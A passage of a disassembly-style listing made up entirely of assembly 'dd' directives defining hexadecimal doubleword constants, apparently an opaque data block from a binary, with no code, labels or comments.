		dd 192CC1C4h, 0B01279C1h, 29844B6Fh, 95750493h,	622808A6h
		dd 51BB1DBCh, 6F66000Fh, 7359CA08h, 79FA0DF8h, 0F0B2AA1Dh
		dd 0A85C1501h, 0D6EC8151h, 74887F6Fh, 78907CCEh, 600E7CC6h
		dd 0F31140DEh, 0ED7D0772h, 0B29F7907h, 5D107A50h, 942F095Ah
		dd 87FED748h, 9255FF04h, 88B313h, 0AD05822h, 8BC6661Eh
		dd 4A78DBE1h, 7504B038h, 2A0910F0h, 86490308h, 22400BEFh
		dd 18823F09h, 5DF50417h, 8610EFC7h, 31080DCh, 337B52EEh
		dd 211459E0h, 0AE38AE63h, 8F1E4203h, 0CFA0C83Dh, 5D181BFAh
		dd 27186CDEh, 0DB930057h, 92847945h, 1CA173C6h,	0F101F09Ah
		dd 10520E1Eh, 285D148Ah, 0E4A96497h, 0FA267C0h,	40C60830h
		dd 31A091h, 11E0BF36h
		dd 0DB0F673h, 4BF87B73h, 0B2F16A1Eh, 0AEC17000h, 0AB0805h
		dd 0BF7A09B1h, 0EC84FEB0h, 3C145957h, 4A51876h,	3E10AC30h
		dd 908E377h, 8300C174h,	7301AAF6h, 13AD00EBh, 0EE85D3Ah
		dd 0DD01F07Ch, 0B4C13678h, 188038FDh, 0E2EB6FFEh, 0EF1D7E07h
		dd 80360FDDh, 7CF27428h, 0DEFA3AFCh, 0E000683Ch, 0A7AB07FDh
		dd 31C36F09h, 1DDEF184h, 690BE059h, 0A8A10Ch, 13B1BE36h
		dd 0A918F773h, 0D6076FEh, 0AAF51784h, 8040B80Ah, 0F0CA98DFh
		dd 15507835h, 0E853E116h, 0ACF39001h, 0AF7271AAh, 47907931h
		dd 49E0EE6Eh, 4AEF6289h, 0BA018073h, 0EB18C479h, 0D1D015D3h
		dd 334100ADh, 5AD77B50h, 0FF1EE58Ah, 17431ADDh,	179FBE0h
		dd 29CA1070h, 0C2ED4B2Bh, 0A09B8723h, 6085936Bh, 0D9D3985Ch
		dd 8B0A0839h, 0FC126ACFh, 942D910Eh, 1922DF18h,	685A1ADAh
		dd 9123E24Fh, 4E310B15h, 0C4F43C75h, 0CE59DA19h, 910C4C22h
		dd 0F0285FECh, 40A85C78h, 0CF378A28h, 0F9C03882h, 48485E46h
		dd 0F0865CEDh, 7231811Dh, 0A6327954h, 0B888318Ch, 30009C59h
		dd 93AF90E8h, 0C00A5433h, 1ECC6F20h, 150AD135h,	0D0AD98DEh
		dd 0B43146C4h, 0CD2187Bh, 0F137A118h, 0B609230h, 8F2812B9h
		dd 0DC68C087h, 7274D2BBh, 0A4A107E2h, 0B3F18565h, 0DC500894h
		dd 0C91F0678h, 1831B9C3h, 185D4EEFh, 4CA3965Fh,	0C5585FDDh
		dd 431AEE48h, 14E0CE84h, 5A93B6C8h, 18EB9C88h, 30329EC4h
		dd 6F627475h, 85B55C18h, 5851924Ch, 919630E8h, 0BFDBD153h
		dd 9479F441h, 11A4AFB9h, 0F0109109h, 4DC2AD08h,	70B8B374h
		dd 44C62CF4h, 79420834h, 0F1897B2h, 0E5148C29h,	1028C0C4h
		dd 21AB78F0h, 21581FEDh, 1417E2FBh, 4023E342h, 142AC253h
		dd 6829E942h, 18EBF078h, 35170885h, 0F828D094h,	290851Fh
		dd 21D4B888h, 0FF453703h, 7A207804h, 2623113Fh,	50109189h
		dd 6C9ADE4Eh, 4C54E122h, 909C60DBh, 67AE0606h, 0D215D25h
		dd 84F09AD4h, 438C2161h, 40C4E084h, 8291B0F4h, 90644823h
		dd 55260C42h, 4C3A137Ch, 679170BCh, 0CE8AD00Ch,	0C66671A2h
		dd 0A94FCF10h, 138CFA4Dh, 0D03010EEh, 0A2946AFBh, 32502374h
		dd 0C1593774h, 541AC009h, 1C60EE4Bh, 0D56E3A41h, 56A0A4C3h
		dd 0F05398F0h, 0D3194161h, 16E02225h, 7028BA54h, 0E27D4168h
		dd 32559A20h, 0A111C066h, 36F00CABh, 83EACB00h,	0D49104A4h
		dd 0C395F6DBh, 4B756038h, 2CD65102h, 0C33B458Bh, 0B8B9B300h
		dd 6FA7DFh, 9CDCAA43h, 5B5E8539h, 0D0CCF100h, 0AE15D453h
		dd 78BD5858h, 166B1E01h, 0C4173722h, 0EF24931Ah, 3AE4F1h
		dd 7E988B67h, 6DC7888h,	34D6D2FDh, 2807A969h, 26876C57h
		dd 8436C920h, 47C701D0h, 58A1F923h, 0E095D0F0h,	163A1D12h
		dd 39CC08h, 0B7277620h,	610A96C1h, 0B4239222h, 0E8BCC580h
		dd 4FBC7h, 50AF8A0Dh, 0A2A9AD46h, 40779A00h, 9B090F5Ah
		dd 74B8486Eh, 0E74816h,	6D2ADE1Ch, 0E003F88h, 0DAAFF08Bh
		dd 0D416A379h, 0FF3C3858h, 8FA41241h, 0A088F002h, 3319CFE4h
		dd 76C103D1h, 0B6873726h, 381775F8h, 5B708818h,	7FC55028h
		dd 2970DEh, 0DA71DCF5h,	3B923F06h, 6CD0AC0Eh, 67D7408Eh
		dd 0F0A56E39h, 876939B8h, 0E643007Dh, 0F0688955h, 45035A92h
		dd 0AD7B6EEDh, 8C5FA0D2h, 3D99E403h, 938F0240h,	3C67ED3Eh
		dd 7A80C091h, 8B74E330h, 85E9321Fh, 6174BD68h, 7FC6310Eh
		dd 8BFDE070h, 7C034499h, 0C888057Dh, 278A5D92h,	0FE2FC340h
		dd 0D1011278h, 0EC407FA0h, 9BE2708Bh, 94983830h, 1CED2E94h
		dd 967FC0C1h, 0A13C0041h, 6F9202E6h, 9894E72Eh,	42A06091h
		dd 4B7878Ch, 0ED2F9486h, 0C32E0270h, 0F93155AEh, 18309FE2h
		dd 8C00018Dh, 79028A5Bh, 0AA5702Eh, 88316375h, 7A89C02Ch
		dd 920FF143h, 9FC17178h, 64A59982h, 3B389895h, 0D2DB0098h
		dd 89EBA287h, 0EC523F6Ah, 0C0409114h, 0CB886487h, 98613EDBh
		dd 0A7FF11Dh, 81F8E699h, 726475E5h, 0B4944AC3h,	98F8047Ah
		dd 5CE2A400h, 69E1687Fh, 3E917CB5h, 2B978CBh, 0ED307980h
		dd 0DB6E3893h, 7A8C26h,	0DC3119BAh, 75C4AC28h, 982E4888h
		dd 0FE8D6D00h, 0F3982FBAh, 33936E13h, 1879400Fh, 3C833C28h
		dd 37266502h, 0AEC24020h, 0D8F94187h, 76E8436Eh, 74918AF6h
		dd 0CA39B686h, 15608291h, 0C289FF04h, 0E5300065h, 73CC7089h
		dd 906059DCh, 0C2B41C26h, 584178D3h, 0E95060C1h, 0A6087A60h
		dd 7898BC0h, 43797FECh,	8C9681ACh, 311CECEAh, 0C0FD4Ch
		dd 5B8903CDh, 6B77A830h, 7000895h, 76A6ED32h, 93F43F00h
		dd 75E88B92h, 0F12E1370h, 0AFFC0F7Ch, 803C1C04h, 39497A0h
		dd 30317678h, 0E94260E0h, 5080AC21h, 0EC88937Ch, 943C6FC0h
		dd 371C07F0h, 3F437BE7h, 45D03C02h, 4296870Ch, 0CD3A9530h
		dd 0A1C77801h, 70C02E93h, 0AEE8D7Ah, 0A58B5B6Eh, 7D044898h
		dd 1CF8A556h, 8B5FC5E6h, 0CAD4D8A7h, 602CFD73h,	56C060CDh
		dd 37FC4CCh, 75A84061h,	99E42E6Fh, 91827B8h, 7F4446Dh
		dd 0C18387F0h, 20C0E495h, 3ED3D94h, 0F93E1B92h,	0E6E15AC0h
		dd 8040F17Ch, 0E72E6B28h, 283F7A81h, 8D60D2E5h,	0C2407D04h
		dd 0B23E5F55h, 16E5FCC4h, 138B9381h, 0A8E46194h, 2C0C3685h
		dd 3309B0F1h, 30E803F8h, 3E87A7EDh, 3F1284Dh, 90C4C4F2h
		dd 7FA8311Ch, 65957509h, 0F3E45DC4h, 5803503Fh,	0B38A05C0h
		dd 20C33192h, 0A1FCBB82h, 698F4095h, 6881E730h,	7275E688h
		dd 38952620h, 5492C21h,	40C0C13Ch, 3C5B7D03h, 623E042Eh
		dd 1C6EFC00h, 6B93E741h, 8C01337Ch, 0B389CA7Ah,	18494099h
		dd 4DFE5020h, 0F9AF38B9h, 80AF041Eh, 985664DBh,	4F84B6C6h
		dd 64F03207h, 53CB383Ch, 58A11878h, 7CC8606Ch, 0ED337F05h
		dd 683B6F92h, 998BE2C0h, 7C2CFC95h, 921ED860h, 9380646Eh
		dd 5F81EC89h, 0D918A2ADh, 750A2F8h, 0B350D0CCh,	7A6E52CDh
		dd 946C20E8h, 5E7CE872h, 8778EC27h, 87408544h, 9E1B92E6h
		dd 8840963Ch, 7C78A1D4h, 966C0407h, 95B1E933h, 0C1CBE48Bh
		dd 8C70DE31h, 7EF00687h, 8EA84098h, 6BA7741Fh, 50B09C28h
		dd 87E03518h, 0E648B21h, 69800230h, 0F489E984h,	0C8965F50h
		dd 0F76D3CC1h, 0D28E6885h, 0F0E0C273h, 2E2F8085h, 61A1C934h
		dd 507D30ECh, 3EBE34D0h, 0B9792FEBh, 0A16B7590h, 0C0F00327h
		dd 0D0C89DE1h, 23C2F7Eh, 0FECC068Ah, 3219388h, 6F04455Eh
		dd 0CAA7415Bh, 82A713C8h, 0E0D9A830h, 0C1C6AC89h, 3848E280h
		dd 7C1091CDh, 0F131981Dh, 0EC9170C7h, 0F28786BFh, 0D79F1D28h
		dd 1A30267h, 0DC83956Fh, 0EB8B9471h, 0F0432001h, 0F33F7A7Ch
		dd 4E8A93D0h, 72B817E5h, 0C4A588E0h, 8C8010D2h,	0E6A77684h
		dd 87ED01F8h, 50A84196h, 7988D8B1h, 42DC4731h, 0D08FD2CCh
		dd 0CD984018h, 3E8ED162h, 0CC0460EBh, 8C80A0D7h, 1458E402h
		dd 0B08584A6h, 61F0032Ah, 0E74360A8h, 0CCDC7C60h, 328828A6h
		dd 7CE98AA7h, 0AAC10202h, 9362F458h, 0C1605A9Fh, 58780230h
		dd 81D468CCh, 0EC3C6C7Fh, 0A63F4420h, 0C96494F4h, 21FCF0E9h
		dd 3E303820h, 87DD015Ah, 7FFD307Ah, 14C4E89Dh, 9209F069h
		dd 1845AD5Eh, 0B44052FFh, 72000443h, 64ED2E5Bh,	0E5948Dh
		dd 54293C8Bh, 4106BB8Ch, 62F29F00h, 0E39DA0A5h,	582C4A86h
		dd 0B599180Ch, 0E20A80h, 0AED0BDBAh, 350B3A53h,	2DDD9100h
		dd 2CFAC8ACh, 8728C1A4h, 0FC61737Bh, 2075725h, 0D76FA08Eh
		dd 0EBC15510h, 3FC5332Fh
		dd 0EC02760h, 3D004AAAh, 9E96152Bh, 1F98E55h, 25CF9918h
		dd 83A758A9h, 9203AC20h, 203CFD8Bh, 2718ED57h, 0A32AD110h
		dd 8C851415h, 0F9E36500h, 0D33CE260h, 6F4FD700h, 27B9B7F6h
		dd 0A65630C9h, 39869730h, 48290A02h, 0A3E1F3B3h, 0D314C7ACh
		dd 2DD80A45h, 40B813FAh, 51D8AB98h, 7C92A11Ch, 49154780h
		dd 0E30264h, 0DB3EAD55h, 0E90D3491h, 0E040B7F1h, 0FC459604h
		dd 14A404A7h, 597C41D3h, 6888E29Ch, 4878803h, 20077425h
		dd 0DB10E460h, 1CC95358h, 382A4B20h, 0F600E43Ah, 0D240375Ah
		dd 0D576E1h, 0F010A590h, 0A34A12CAh, 77FA5D0Ah,	0E901D084h
		dd 93158DA0h, 62A77180h, 7E089A09h, 10E0200Ch, 0C08F086Eh
		dd 95ACD21h, 95013249h,	24FFB13Dh, 0C20E575h, 8EB04C0h
		dd 8BE4FD1Dh, 62D1C814h, 33003BA2h, 80326BC9h, 561461BDh
		dd 0C81C5E84h, 25A416CFh, 350804F4h, 801F63A8h,	3F7CD457h
		dd 0B59434B4h, 0FC80E474h, 96A2E90Ch, 61057490h, 4808DCADh
		dd 9B1BA040h, 0EEF36552h, 66BAF4B3h, 2151089Fh,	52907E00h
		dd 79956D28h, 0E5C60369h, 0DBA24512h, 333BF809h, 41681489h
		dd 0A3709496h, 57DF905Ch, 0A3908884h, 0C0011190h, 3C884026h
		dd 9F5F3093h, 1E86C029h, 9627D50Fh, 7E1FA681h, 21986008h
		dd 8B1E8F6Bh, 0F4E7FA30h, 6A50A927h, 3B84588Ah,	98A8C6B8h
		dd 9C60C808h, 0D01E83C0h, 227E4627h, 8C60009Ch,	5943491Eh
		dd 5D0416D4h, 8EDCFAC1h, 0B24530D0h, 0F91493C8h, 49141C16h
		dd 3C0E548Bh, 22E0F154h, 50EF1F5Fh, 26C42F02h, 444C693Dh
		dd 6C064804h, 6FE0E28Fh, 0ED04DB33h, 0F1F1286Fh, 0D91E8280h
		dd 448CB627h, 8B005FA3h, 6370EA1Eh, 0E0CBA7h, 611811F3h
		dd 0A3F4FB73h, 0AC14E0D4h, 1D608698h, 0D10D27A1h, 0F8B8D821h
		dd 90932C87h, 2050D5C4h, 183198E1h, 450909B0h, 0E4127122h
		dd 90501E84h, 0A4267478h, 0B45F94A8h, 0C0E2F1C0h, 88BB3Ah
		dd 711E9CC5h, 4EFC9312h, 4D975E03h, 3A8552Dh, 15349850h
		dd 80047591h, 0AAFAC6C7h, 63179400h, 0E84C5723h, 9ABA10F0h
		dd 0C88C26h, 0F9F13F37h, 90A828AEh, 2D1A0BC4h, 845875FBh
		dd 9D60DEDCh, 0F3106352h, 43C8B437h, 5200D4A4h,	6007E0C5h
		dd 28C077C9h, 2CCCC79Dh, 880D076h, 803B261h, 3D6652Dh
		dd 680CBA68h, 20E555CBh, 1D268C6Ch, 88ACE554h, 93043E73h
		dd 4F2E710h, 350AD0D0h,	3083E37Dh, 0B85362F6h, 0F97B1807h
		dd 3DF3290Bh, 80404054h, 0B7A0408Ah, 88344C54h,	7C10AA24h
		dd 3C54E14Eh, 80424618h, 529A30DDh, 2FF36411h, 7D804688h
		dd 3BC5293h, 6D3A003Bh,	7FF3DD06h, 3E07AA99h, 5DFD74F9h
		dd 9560B8FAh, 2BE22DEDh, 0A1BC0496h, 1850513Ch,	933003Dh
		dd 0A9072BF2h, 80A80316h, 20844E85h, 860B849Ah,	10145087h
		dd 0ECFCCC4h, 0D43483E5h, 95F3FC6h, 6C21D660h, 0CBE5D7h
		dd 0E88C3288h, 14820D90h, 0C1B444h, 0FEEFE1EDh,	0AA9E5473h
		dd 91DA3604h, 0AC008914h, 495EAD52h, 0A70074ECh, 0FE7FC404h
		dd 0A1B4A962h, 3070CBD8h, 0B0D0AB9Ah, 0A81E5515h, 12D813FCh
		dd 5DD959h, 0BCC844CBh,	0C8923543h, 2AFC3A03h, 431DF0Dh
		dd 6F6A510h, 56C090ADh,	0DA30C129h, 50D5997h, 0AEC78039h
		dd 1892C033h, 77C9E122h, 52C16A00h, 98991D30h, 0B3D9CDFh
		dd 0F7B33A1Ah, 30715CB0h, 7A0B182h, 0C7F101E3h,	3068E10Bh
		dd 584C2691h, 18B2308h,	8A40958h, 889D186Eh, 90050C7h
		dd 0F37A4742h, 91AF6D5Ah, 0C4BA0EA8h, 43EF2200h, 497A2D09h
		dd 0E111DC91h, 58529680h, 0B3488FF3h, 0E089B320h, 0BDD152h
		dd 2776445Ah, 754F4E8Bh, 6278F50Bh, 0AD2004F3h,	7C80D015h
		dd 0C5E9078Dh, 0B53D280Ah, 7F168847h, 0B1784404h, 0AEFEDF00h
		dd 8C7C09AAh, 3B76E806h, 0C40CCF9h, 958D5328h, 3C9B0428h
		dd 6184D59h, 11155600h,	89B65E9h, 1BE40E99h, 195720E8h
		dd 0BBDAA2AAh, 7704C860h, 0F2A95240h, 486CA6E7h, 43200834h
		dd 0F2F98802h, 0E5601F57h, 6046E464h, 4280C2h, 0EB91A937h
		dd 26B3BD94h, 20480574h, 0E5FDA020h, 0C9382B40h, 0EBA0088h
		dd 0D0031CC5h, 0B026F18h, 0C812FD50h, 2D83C9C8h, 69EBCA9h
		dd 6D1C6F48h, 0EA081844h, 28BC6BEh, 813BC135h, 93002050h
		dd 0EB1B1FFEh, 9BA652Bh, 0AAB0FAF2h, 413B3022h,	506158CAh
		dd 58871493h, 0B88C2B04h, 0B33C7386h, 1E9103E4h, 0CEF527DAh
		dd 9A5E008Ch, 0EE8A0C1Eh, 64E09C0h, 0AC21A912h,	0D4C56EB6h
		dd 0E94898A1h, 18650185h, 28791BE7h, 9996CC20h,	80551160h
		dd 3490E5DAh, 0A10087DCh, 3ECFE5E2h, 44A38B3h, 128CC42Bh
		dd 23CC3AA5h, 14FD0198h, 0D4A6F8EFh, 50C0BA37h,	78B393A9h
		dd 85BC0AC9h, 40545187h, 3484E5D6h, 0D522FC46h,	0E5DEA503h
		dd 0BD261470h, 3E397498h, 9603FA9Bh, 0BA20C133h, 1142B801h
		dd 6EC250E8h, 8C020C21h, 0E5D8304Fh, 0C634823Ah, 9F00D722h
		dd 0EA6BE5E0h, 93959DAh, 0D3D08AAh, 0FA5D3860h,	0F537180Fh
		dd 0E441F662h, 0A76A4388h, 30FD2093h, 0EE26D2E0h, 927B9300h
		dd 4541F7F5h, 88154C99h, 32C4BD80h, 1002C211h, 57DA3F5Ah
		dd 8670A1E5h, 2C263231h, 7AF9270Eh, 88E42093h, 3493913Ch
		dd 0DB1E9001h, 18288627h, 1E9965B0h, 0AB33D500h, 583036A7h
		dd 77E00A23h, 8080D013h, 81DDBBB4h, 0F21C028Ah,	0C9405D25h
		dd 5615BD1Eh, 6B23892h,	3EAD4005h, 0D60C104h, 0E12510C0h
		dd 984A5B3h, 146D86CCh,	495FE860h, 90A13F6h, 0E6204076h
		dd 23C42DE7h, 9B1C3500h, 54125A0Ch, 0E8940036h,	0EE2A7A87h
		dd 3260F1Fh, 27C02491h,	0A256491Dh, 3E1894A4h, 6018B0F3h
		dd 9A8A81ACh, 1CBB4412h, 2C012F13h, 415EF75Dh, 0A27DFC41h
		dd 8C235C62h, 0A409590Fh, 64E28608h, 951CEC0h, 5901C045h
		dd 1D0B60BEh, 5B00E435h, 0AB63FFADh, 0B5BBA981h, 0D29C842h
		dd 7F58E8D9h, 19D16013h, 3FE15F90h, 0FC997000h,	0C3FAB6C1h
		dd 0D58E0106h, 0EEB59BF8h, 0C499F60Eh, 0E18730D3h, 31352CA0h
		dd 5882040h, 38820960h,	8A24D8E2h, 0D814BB1Ch, 0D850F996h
		dd 8CA3E87Ch, 251A0C72h, 60F07C0Dh, 3FEA0B44h, 207914C0h
		dd 7418D919h, 0ED399462h, 1C362839h, 0BF0509E8h, 509AEC09h
		dd 0A58A6040h, 5602A879h, 7ACA0294h, 866091FCh,	9DB8A82Ch
		dd 6E69038Ch, 0ED0A0433h, 0B50CDFC7h, 0D33D2A21h, 0F401F571h
		dd 9FBC48F6h, 2826D50Ch, 0AE0DAD0Ch, 0A30B8A31h, 34D86h
		dd 0EA673950h, 0E3E8A226h, 70E2F4E0h, 5A3098E2h, 0F0A201A6h
		dd 0D4B127FEh, 2C7881A1h, 53F1A335h, 3E743030h,	38E96660h
		dd 9411E41Dh, 2BFF5581h, 0A9A970D8h, 0BADDC124h, 79DE093Ah
		dd 379C0048h, 229C7508h, 67008F68h, 9F06E1EBh, 6FB4213h
		dd 1AD76125h, 6E001412h, 9085E02Fh, 58FAF92Dh, 7825CADh
		dd 0C100AC59h, 0E8E5A3h, 0CD6F8E24h, 0BD7EA23Bh, 6CEB107h
		dd 0EA22DD3Ch, 0D788E1A0h, 520BA418h, 9C9FF35Ah, 987B5C3Ch
		dd 616C26h, 16F99496h, 0B05CB88h, 776523BDh, 4AB418C8h
		dd 0A58C44C2h, 0D1891D20h, 20C44416h, 86124F05h, 1CCB85E5h
		dd 0E9C0E488h, 0C793ED0h, 0CD346F6Eh, 83B1F69h,	9891857Eh
		dd 400043BAh, 75C5A4A9h, 0DC992C1Bh, 6BF78144h,	38EBC0E1h
		dd 8F1CF8F0h, 122F1CE4h, 0D0017626h, 0FA27570Ah, 315A9442h
		dd 349F40D5h, 94A6CD04h, 0A2D844h, 56D5E5DDh, 0B3E0F803h
		dd 764DA9FCh, 24278F94h
		dd 58B7A3C4h, 9A626112h, 1D3BC04Ch, 175439h, 6B11FEE0h
		dd 0C208AD31h, 4F5871DDh, 5D7A31h, 0B459AB52h, 696E0D68h
		dd 0EE009BECh, 0D707880Ah, 1CF3C73Ch, 66ACFB38h, 0B5D8019Ch
		dd 8F911EF6h, 0C05094B0h, 0F90B5133h, 26CBBE4h,	0CDD15B59h
		dd 1ED9130h, 2407E81Fh,	201BE563h, 0EC938A84h, 97095701h
		dd 0C4337608h, 94FD083h, 713C8295h, 15FA8B20h, 0CD7A0218h
		dd 0C8F2450Ah, 0D2021C7Ah, 5FE1D302h, 0AB80A0AAh, 75D72Eh
		dd 11645A71h, 0CFB9C18Ch, 27FCFB3Fh, 0ED188023h, 0F9E68637h
		dd 40C8A820h, 60E42B8Fh, 0C18053F6h, 9290401Eh,	0D0804030h
		dd 2C73413Ah, 883CEEA3h, 4420312Dh, 0D120C4B0h,	43C801DEh
		dd 6374AA94h, 3CE18B9Fh, 5E7805C1h, 90E1A506h, 31360419h
		dd 0C193C519h, 8A663Ch,	49493561h, 48647051h, 980852F1h
		dd 95DC098h, 66580899h,	55D2E0ECh, 0EC80009h, 0ECBB7E98h
		dd 36027439h, 0BA0D4513h, 0ADCC401Eh, 0A4B2540Ch, 800E6226h
		dd 60103DC5h, 0B36888B1h, 729CEh, 0D01C298Dh, 0E87F5E9Ah
		dd 0FBF2000Dh, 0ED0D24C7h, 3141DA47h, 0D358B883h, 0EA18F8A0h
		dd 1CD6E094h, 0C09A96ECh, 8D395428h, 7B01772Bh,	0A99420EEh
		dd 14651DBFh, 40598420h, 0BE73E14Bh, 10BEC492h,	5B12ECA4h
		dd 0E5D4F861h, 99EC34ECh, 0DCA3C08Ch, 3503F1E5h, 349B1EADh
		dd 14FAA05h, 64C9A920h,	861AAC3Ch, 0E69402Bh, 0CC2E80AFh
		dd 2736ED76h, 5C306F75h, 0E7010B43h, 0CDB6393h,	4C4A85E8h
		dd 8AC2D3C8h, 0CA9040DDh, 0D8B082DFh, 0EB09F010h, 0E6973186h
		dd 3A90C06Ch, 74D0770Ah, 8978FD06h, 0B9DF40h, 0C0F843E6h
		dd 71250499h, 2A740095h, 81A50953h, 0E2B3E708h,	8098183Fh
		dd 1BE7205Eh, 0BE43987h, 457D0D2Ah, 13C95025h, 9C5002C1h
		dd 0B0541E86h, 15537282h, 8C548097h, 96AEB94h, 0F95662F7h
		dd 0F8689407h, 321D871Eh, 97E200FAh, 0E92AC0FEh, 39090015h
		dd 7D7B69C2h, 0B3053F8Bh, 58265E50h, 77EE08C1h,	0D9052900h
		dd 80CB094h, 0E00A8173h, 7723007Ah, 0F53CE396h,	9C9EAD5Ah
		dd 5350D601h, 0B0393963h, 0D9D11B08h, 710C721Fh, 0C91218CCh
		dd 980D2964h, 949C60F1h, 2EA20720h, 2808A5E9h, 0A935FDCh
		dd 990BB74h, 3881EA31h,	2C52E550h, 0FD2D8154h, 0CE1C1EB6h
		dd 99BD8805h, 0F064EB40h, 9A7C3CE3h, 5020CABCh,	0D0768CA0h
		dd 9D40C9B0h, 0B18A00E7h, 0F9266F7Bh, 4A18AADEh, 7E8AE88Fh
		dd 3F67F655h, 5E86221Ah, 83FBD8Dh, 7D1C24F8h, 8A0052E9h
		dd 0A3D5FAF3h, 0BFFC002Fh, 0FBAC33E2h, 4C7A4BE6h, 408F0800h
		dd 604FF915h, 6977BDh, 7396C266h, 0FBEB2CABh, 2825B530h
		dd 0C05FE9B0h, 0EFD96160h, 691DCC53h, 0B6899C36h, 86118F25h
		dd 186F57h, 0A807D5AFh,	482630D3h, 15960D00h, 0A756B39Ch
		dd 25703602h, 88061028h, 31BEDE5Eh, 17461CC1h, 43A7C05Bh
		dd 2BAF8972h, 213908CCh, 5B0F006Dh, 5368C8DBh, 0BD3810A8h
		dd 66D38C70h, 644B8A9h,	76BBD08Eh, 481B10A2h, 0A689213h
		dd 9AC68070h, 6D003CA0h, 4515F13Fh, 6A195239h, 9E08490Ch
		dd 38DB2180h, 0BAD361F1h, 0F86B9C05h, 88026275h, 69FE35h
		dd 0A8216A26h, 5E5A3205h, 945FA656h, 0FC451700h, 30EF6477h
		dd 0D5988F8Ch, 4C150210h, 7D9CEC0Ch, 0F00FF57Bh, 8C20B776h
		dd 79706051h, 0C0AB60DBh, 29184BE5h, 0F0A18C0h,	300CC6C0h
		dd 0A6685D68h, 0D40E4196h, 2FFE31ABh, 3F36C12Ch, 0C6D48E15h
		dd 0CF9D14FDh, 0CC408034h, 0A94A10EFh, 2EF7052Fh, 98024506h
		dd 939D52ABh, 0B8AFD0A0h, 0E8C90A10h, 30E4D455h, 5CFE3E18h
		dd 0D67EE1C0h, 3E575C7h, 0DD3229B8h, 54A32AD0h,	0DF1F2100h
		dd 70FB40C7h, 81F6ACh, 0F6E9D21Eh, 784E225Eh, 2FD5C615h
		dd 0DC1A2AECh, 6CCEDB10h, 0CC13F101h, 968F0717h, 0BB150CB0h
		dd 78750178h, 82DDE3A3h, 163191E9h, 21800899h, 0AAA3D447h
		dd 285B8500h, 0E576352Ch, 87CAF723h, 2F3D2A4h, 0BC6846A7h
		dd 912AB01Ah, 9E53D380h, 0AF076BA9h, 6E2450C3h,	36B7B1D0h
		dd 0E7AB1256h, 0FEC44B8Ch, 8BFA6F81h, 65A4205Ah, 0FF895360h
		dd 2DEDFCh, 3905BA59h, 30A1091Eh, 0FADCAD00h, 0EAA3463Ah
		dd 0BF063278h, 0D8215038h, 0EDF46AF7h, 3C3205F8h, 4064FE3Bh
		dd 7EF9A8ACh, 6F00A645h, 0B113C6E1h, 135D842h, 1475D6FAh
		dd 42F563E4h, 0D8B03AECh, 7908C7E2h, 642AD8E5h,	0EB234061h
		dd 3EF878C7h, 2C82514Eh, 75B71E14h, 83869C40h, 0D0DC483Ch
		dd 5AF4D094h, 3DA0C750h, 1BFC3709h, 82740E60h, 99C813E5h
		dd 0C4190FDCh, 0DD23D6A3h, 7E119Ah, 0CAA37D4Eh,	283AC094h
		dd 289056B4h, 22AC6DF7h, 38035464h, 3F241ADFh, 1147A89Fh
		dd 2FA81C66h, 0F6674076h, 136A876Dh, 1F40C562h,	12386054h
		dd 5EDB31A4h, 4B4476A8h, 0C14FC890h, 0D4DC887Dh, 7A0DB7A9h
		dd 508513D4h, 62ADB042h, 3A0C4470h, 0B1644967h,	0C522C2D0h
		dd 0A4A598A0h, 1CA06D4Fh, 0A70955B3h, 9C8163EAh, 826B20ACh
		dd 367DC481h, 0F1460260h, 31E14520h, 3BCE1095h,	3717DF1h
		dd 67D9EE90h, 901D338Ah, 0A010D3D2h, 0A07EB2Ch,	0C0D41326h
		dd 0DDE2A379h, 7F227A46h, 0A3814A00h, 3527B183h, 0A2B90C0Eh
		dd 0D1799CC6h, 0EE4E38h, 50B6E9BDh, 998254h, 0A2B0D248h
		dd 0B253EB6Bh, 0F4946A54h, 33D06F0Bh, 0D41B0140h, 9880970Ah
		dd 0B150C05Eh, 76501C02h, 0D9028D80h, 0CFEB0E37h, 8E9141E6h
		dd 0C44708Eh, 0B661C415h, 40BEA9E8h, 1679BAA4h,	0B3A41B0Ch
		dd 5262090h, 81459F3Ah,	0D52038F6h, 400A846h, 94450974h
		dd 0A0FBA3D0h, 0B0589CA1h, 1CC483BCh, 0ED48C060h, 0D02300D4h
		dd 78856B76h, 7D02A937h, 4DF85EDCh, 0ABCE0161h,	2550650Eh
		dd 3CB024E4h, 0C7D8028Ch, 2AE8E573h, 29105A19h,	0B902C7E1h
		dd 116BF647h, 0EB1C40B1h, 0EAC9C15Ah, 2CC1F4Dh,	173040C5h
		dd 0C488019h, 4CC23420h, 0BF01B476h, 458F0614h,	0A691877Eh
		dd 630620C0h, 0E6520CB0h, 0AAB8943Ah, 46028C46h, 9E2BC262h
		dd 0BB2140BCh, 0D0890488h, 6B70E24h, 0B06845D2h, 0A4722040h
		dd 0D94D6B02h, 0C054EB29h, 7C376270h, 620E74FDh, 639B60BAh
		dd 7AF0C60h, 0C0654F1Ch, 9F0DEDDFh, 0D0246818h,	0FC360C5Eh
		dd 4B9884F7h, 0E3B9B763h, 64A1C034h, 40C104Eh, 9F484C6Fh
		dd 7F57DD40h, 38013E86h, 0AC83A883h, 4393D3D5h,	0C65E8805h
		dd 18004209h, 0B20195F5h, 995F6F02h, 720C568Fh,	9B0CF871h
		dd 105B70B0h, 47F218A7h, 0A41AA874h, 48083F4Dh,	0DF10111Ch
		dd 79E8A048h, 973B018Ch, 5B13F2B4h, 20C4310Eh, 0DD71A758h
		dd 7DA2AB17h, 0BE0D8C40h, 0C6B3B09Dh, 7042EBC0h, 7234F504h
		dd 0C0C0181Bh, 0F17402A9h, 0A444A882h, 3098B7Fh, 951DB4Ch
		dd 0B4470C19h, 0DAA92800h, 589A7C7Bh, 0C00D631Ch, 187709h
		dd 0F2A93530h, 0C8704D1Fh, 4865816h, 63F34C0h, 20B8E5D2h
		dd 56260418h, 6540A8ACh, 0C1441C20h, 0E6254528h, 90F05593h
		dd 63D83A6Ch, 8B49C271h, 6C5C2ED0h, 0D866F40Ah,	46A84031h
		dd 0C1880904h, 58554404h, 80191FB8h, 1E54BDDDh,	890739ECh
		dd 2776BD4h, 0F9154860h, 10B44CF5h, 0F39CAD07h,	0C8891DC6h
		dd 0DD07FE02h, 44716CEBh, 0D2CD5720h, 0B2361693h, 23940B3Eh
		dd 28DD1819h, 5B16C07Ch, 8C2BA74Dh, 1662E44h, 0C6A65B0Eh
		dd 444F31E6h, 0E82680D8h, 2F2C539Ch, 401CBC56h,	0D385D06Ch
		dd 0A4C97E1Eh, 97A8A0CAh
		dd 0CE00E7Bh, 8AE2BB17h, 370A1420h, 84D1D99Ch, 30E09832h
		dd 44085B21h, 647153A7h, 196B4142h, 820BD5Bh, 0AFECA8CBh
